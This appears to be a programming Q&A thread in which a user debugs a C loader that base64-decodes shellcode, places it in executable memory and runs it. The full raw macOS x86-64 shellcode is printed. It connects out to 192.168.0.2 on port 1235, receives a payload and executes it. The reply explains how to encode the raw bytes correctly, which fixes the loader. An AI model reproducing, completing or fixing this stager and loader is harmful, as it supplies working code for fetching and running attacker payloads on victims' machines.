I have a c application that decodes a base64 string that contains some shellcode and attempts to execute it and it seems to successfully decode but when it is executed the error Illegal instruction: 4
occurs. This is most of the code:
unsigned char shellcode[] = "eDZheDAweDVmeDY4eDAweDEweDAweDAweDVleDZheDA3eDVheDY4eDAyeDEweDAweDAweDQxeDVheDZheDAweDQxeDU4eDZheDAweDQxeDU5eDY4eGM1eDAweDAweDAyeDU4eDBmeDA1eDBmeDgyeDc0eDAweDAweDAweDQ5eDg5eGM0eDZheDAweDQxeDVheDZheDBheDQxeDVieDZheDAyeDVmeDZheDAxeDVleDZheDAweDVheDY4eDYxeDAweDAweDAyeDU4eDBmeDA1eDcyeDMzeDQ4eDg5eGM3eDQ4eGI4eDAweDAyeDA0eGQzeGMweGE4eDAweDAyeDUweDU0eDVleDZheDEweDVheDY4eDYyeDAweDAweDAyeDU4eDBmeDA1eDcyeDE2eDRjeDg5eGU2eDY4eDAweDEweDAweDAweDVheDY4eDFkeDAweDAweDAyeDU4eDBmeDA1eDcyeDAzeDQxeGZmeGQ0eDQ5eGZmeGNieDc0eDFleDZheDAweDVmeDZheDAweDVleDZheDAweDVheDZheDAweDQxeDVheDZheDAweDZheDA1eDU0eDQxeDU4eDY4eDVkeDAweDAweDAyeDU4eDBmeDA1eGVieDk3eDY4eDAxeDAweDAweDAyeDU4eDZheDAxeDVmeDBmeDA1Cg==";
char buffer[4096];
int bufferLen = 4096;
int main() {
base64decode(buffer, shellcode, sizeof(shellcode));
printf("%s", buffer);
void *ptr = mmap(NULL, bufferLen, (PROT_READ | PROT_WRITE | PROT_EXEC), (MAP_PRIVATE | MAP_ANONYMOUS), -1, 0);
memcpy(ptr, buffer, bufferLen);
int (*ret)() = (int(*)())ptr;
ret();
}
The raw shellcode is \x6a\x00\x5f\x68\x00\x10\x00\x00\x5e\x6a\x07\x5a\x68\x02\x10\x00\x00\x41\x5a\x6a\x00\x41\x58\x6a\x00\x41\x59\x68\xc5\x00\x00\x02\x58\x0f\x05\x0f\x82\x74\x00\x00\x00\x49\x89\xc4\x6a\x00\x41\x5a\x6a\x0a\x41\x5b\x6a\x02\x5f\x6a\x01\x5e\x6a\x00\x5a\x68\x61\x00\x00\x02\x58\x0f\x05\x72\x33\x48\x89\xc7\x48\xb8\x00\x02\x04\xd3\xc0\xa8\x00\x02\x50\x54\x5e\x6a\x10\x5a\x68\x62\x00\x00\x02\x58\x0f\x05\x72\x16\x4c\x89\xe6\x68\x00\x10\x00\x00\x5a\x68\x1d\x00\x00\x02\x58\x0f\x05\x72\x03\x41\xff\xd4\x49\xff\xcb\x74\x1e\x6a\x00\x5f\x6a\x00\x5e\x6a\x00\x5a\x6a\x00\x41\x5a\x6a\x00\x6a\x05\x54\x41\x58\x68\x5d\x00\x00\x02\x58\x0f\x05\xeb\x97\x68\x01\x00\x00\x02\x58\x6a\x01\x5f\x0f\x05
The printf statement returns the correct decoded shellcode without the backslashes, and that may have occurred during the decode, which could explain the error, but if I put double backslashes in the shellcode before encoding it prints with one backslash suggesting it is the printf command removing it. This means the shellcode is intact but it still has the error.
I am using the base64 decode function from here: https://github.com/rapid7/metasploit-framework/blob/master/data/headers/windows/base64.h
The problem is with the encoded string. The data being encoded was a human-readable string. Instead, you need to encode the raw binary data.
You can put the data in a file for instance. You could write a C problem to do that for you. Then direct the file into base64
as input (or pipe it directly from your program to base64
). Just remember your data may contain bytes with the value zero, so you need to use fwrite
or write
to write it out.